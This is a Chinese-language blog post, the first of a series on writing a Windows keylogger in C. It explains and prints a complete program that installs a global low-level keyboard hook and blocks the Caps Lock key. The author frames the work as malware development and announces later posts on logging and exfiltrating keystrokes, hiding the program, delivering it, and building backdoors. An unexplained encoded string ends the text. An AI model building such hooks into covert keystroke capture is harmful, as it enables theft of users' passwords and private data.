免责声明:
本文内容仅供教育和信息参考。旨在促进安全意识、学习和道德网络安全实践。任何滥用本文所述技术进行未经授权的访问、监控或利用的行为均属非法且不道德。作者不支持、鼓励或对基于本文内容实施的任何非法或有害行为负责。读者自行负责确保其行为符合所有适用法律法规。
欢迎读者朋友。在今天的博客中,我将讲解如何使用C语言编写一个键盘记录器。这将是一个从恶意软件编写到投递等一系列内容的系列文章。请关注我以获取最新发布内容,不要错过这个有价值的系列。
本文概述
我们将为Windows系统编写一个C语言键盘记录器。我将使用Linux系统进行程序的编译和编写。该恶意程序将捕获我们的按键输入,并阻止这些按键到达操作系统。我不仅会提供代码,还会解释其工作原理,让你理解代码的实际运行机制,从中学习,并最终能够自己创作。
什么是恶意软件?
恶意软件是“恶意软件”的简称,指任何旨在危害、破坏或未经授权访问计算机系统、网络或用户数据的程序。它可以窃取敏感信息、破坏设备或控制系统以发起其他攻击。常见的例子包括病毒、间谍软件、勒索软件和木马。
什么是键盘记录器?
一种计算机程序,用于记录计算机用户的每一次按键操作,尤其是为了欺诈性地获取密码和其他机密信息。
为什么使用C语言编写?
C语言是除汇编语言之外,在最低层级上与计算机交互的最接近、最便捷的方式。用C语言编写恶意软件可以让我们精确地实现目标。用C语言编写的恶意软件比用Python等高级语言编写的体积小得多。这一点很重要,因为你希望在传输恶意软件时尽可能减少网络流量。
实验环境搭建
我们需要在Linux(Ubuntu)环境中安装MinGW。它也可以从此处下载Windows版本,然后添加到环境变量中。我将使用Linux系统。
sudo apt update && sudo apt install mingw-w64
键盘记录器实现
我将分块解释所有代码,然后运行并进行测试。我们从以下内容开始:
我们使用哪些库?
目前,我们只使用两个库。
#include <windows.h>
#include <stdio.h>
windows.h为我们的程序提供了Windows API(WinAPI)的声明和定义,允许它调用直接与Windows操作系统交互的函数。
stdio.h引入了标准输入输出函数、宏和变量声明,供程序使用,例如printf。
编码前的关键术语
在我们深入研究代码之前,先确立几个关键概念。可以将这些视为我们将使用的构建块。
钩子 (Hook)
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);
WH_KEYBOARD 与 WH_KEYBOARD_LL
WH_KEYBOARD和WH_KEYBOARD_LL都是钩子,用于监控键盘事件。两者的区别在于,WH_KEYBOARD在较高层级监控事件,意味着它在应用程序内部监控事件,例如重新映射按键或实现自定义快捷键。
而WH_KEYBOARD_LL在更低的层级工作,允许我们在按键事件到达系统之前拦截它。这还允许我们检测后台按键,使其成为键盘记录器的理想选择。
SetWindowsHookEx (设置钩子)
SetWindowsHookEx API 用于安装钩子过程。我们需要向此API传递以下参数:
HHOOK SetWindowsHookExW(
[in] int idHook, // 指定要安装的钩子类型(例如,WH_KEYBOARD_LL 用于低级键盘钩子)
[in] HOOKPROC lpfn, // 指向钩子过程函数的指针,当指定事件发生时将被调用
[in] HINSTANCE hmod, // 包含钩子过程的DLL的句柄。如果钩子过程位于调用进程中,可以为NULL
[in] DWORD dwThreadId // 要与钩子关联的线程标识符。如果为0,则钩子是全局的
);
我们的SetWindowsHookEx API代码将如下所示。我写了几行代码来验证钩子是否安装成功。
// 钩子句柄
HHOOK hHook;
// 安装低级键盘钩子
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);
if (hHook == NULL) {
printf("Failed to install hook! Error: %lu\n", GetLastError());
return 1;
} else {
printf("Hook installed successfully! Press ESC to exit.\n");
}
WH_KEYBOARD_LL告诉Windows安装一个低级键盘钩子。KeyboardLLProc是你的回调函数。NULL作为hMod参数表示“钩子在同一进程中”。0表示“应用于整个系统”(不仅仅是单个线程)。
捕获按键输入
Windows将事件放入消息队列:
当用户点击鼠标、按下按键或移动窗口时,Windows会将描述该事件的“消息”放入一个队列,这是一个事件的虚拟等待室。
MSG msg;
// 消息循环,保持钩子运行
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
GetMessage()从中捕获消息:我们程序的消息循环调用GetMessage(),它等待并从该队列中检索下一条消息。TranslateMessage()转换键盘输入:捕获与键盘相关的消息后,TranslateMessage()处理它以创建一个字符消息(WM_CHAR),使我们的程序更容易处理文本。DispatchMessage()将其发送到窗口:最后,DispatchMessage()将处理过的消息发送到我们程序编写的用于处理该窗口事件的特定函数(称为“窗口过程”)。
深入实现
现在我们已经安装了钩子并正在监听事件,接下来将编写回调函数。当系统中任何地方发生键盘事件时,Windows会自动调用此函数。如下所示:
// 钩子回调函数
LRESULT CALLBACK KeyboardLLProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
if (nCode == HC_ACTION) {
// 检查是否有按键被按下
if (wParam == WM_KEYDOWN && p->vkCode == VK_CAPITAL) {
printf("Caps Lock disabled!\n");
return 1; // 阻止该按键
}
}
// 将未处理的事件传递给下一个钩子
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
- LRESULT:Windows消息/钩子函数使用的返回类型。
- CALLBACK:一个Windows调用约定宏(通常是
__stdcall),告诉编译器当Windows调用该函数时,函数应如何接收参数。 - KeyboardLLProc:我们的函数名(可以任意命名)。
- 参数nCode:指示这是何种钩子事件。如果是
HC_ACTION,则是一个需要处理的真实键盘事件。 - wParam:描述键盘消息类型。
WM_KEYDOWN表示按键刚刚被按下。
WM_KEYUP表示按键刚刚被释放。 - lParam:指向包含按键事件详细信息的
KBDLLHOOKSTRUCT结构的指针(哪个键、扫描码等)。 KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;:将lParam指针转换为KBDLLHOOKSTRUCT指针,以便访问其字段,如p->vkCode。VK_CAPITAL是表示Caps Lock键的常量键值。return CallNextHookEx(NULL, nCode, wParam, lParam);:如果不是Caps Lock(或者我们没有处理它),必须将其传递给链中的下一个钩子。如果不这样做,可能会破坏其他钩子或阻止正常的按键行为。
整合代码
我们的第一个程序已完成,现在是时候运行并测试它是否能阻止Caps Lock键了。首先编译代码。
#include <windows.h>
#include <stdio.h>
// 全局钩子句柄
HHOOK hHook;
// 钩子回调函数
LRESULT CALLBACK KeyboardLLProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
if (nCode == HC_ACTION) {
// 检查是否有按键被按下
if (wParam == WM_KEYDOWN && p->vkCode == VK_CAPITAL) {
printf("Caps Lock disabled!\n");
return 1; // 阻止该按键
}
}
// 将未处理的事件传递给下一个钩子
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// 入口点
int main()
{
MSG msg;
// 安装低级键盘钩子
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);
if (hHook == NULL) {
printf("Failed to install hook! Error: %lu\n", GetLastError());
return 1;
} else {
printf("Hook installed successfully! Press ESC to exit.\n");
}
// 消息循环,保持钩子运行
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// 退出前卸载钩子
UnhookWindowsHookEx(hHook);
printf("Hook removed. Exiting...\n");
return 0;
}
使用以下命令在Linux上为Windows编译:
x86_64-w64-mingw32-gcc {文件名}.c -o {输出文件名}.exe
我执行了程序并尝试按下Caps Lock键,我们的程序成功阻止了它。
我知道这还不是一个真正的键盘记录器,但我需要通过从小处着手来建立坚实的基础。我们将深入探讨记录所有按键并将其存储起来,或发送到服务器。然后我们将学习如何隐藏它,以及如何在红队演练期间将其投递到目标系统。完成键盘记录器后,我们还将学习制作后门……后续还有很多有趣的内容,别忘了关注。 CSD0tFqvECLokhw9aBeRqsz8WKi4c0Yu2dKDeXAOt1CVpK/B+UntpanmKzKTWGwTz5ubjx3GpaMugBKaPoucTcYJ+UtfHyBH0INxuy8YUpDaaDBYFuf/SbiGmP97q+78QYox24V0XmzvU1LlBYiSnA==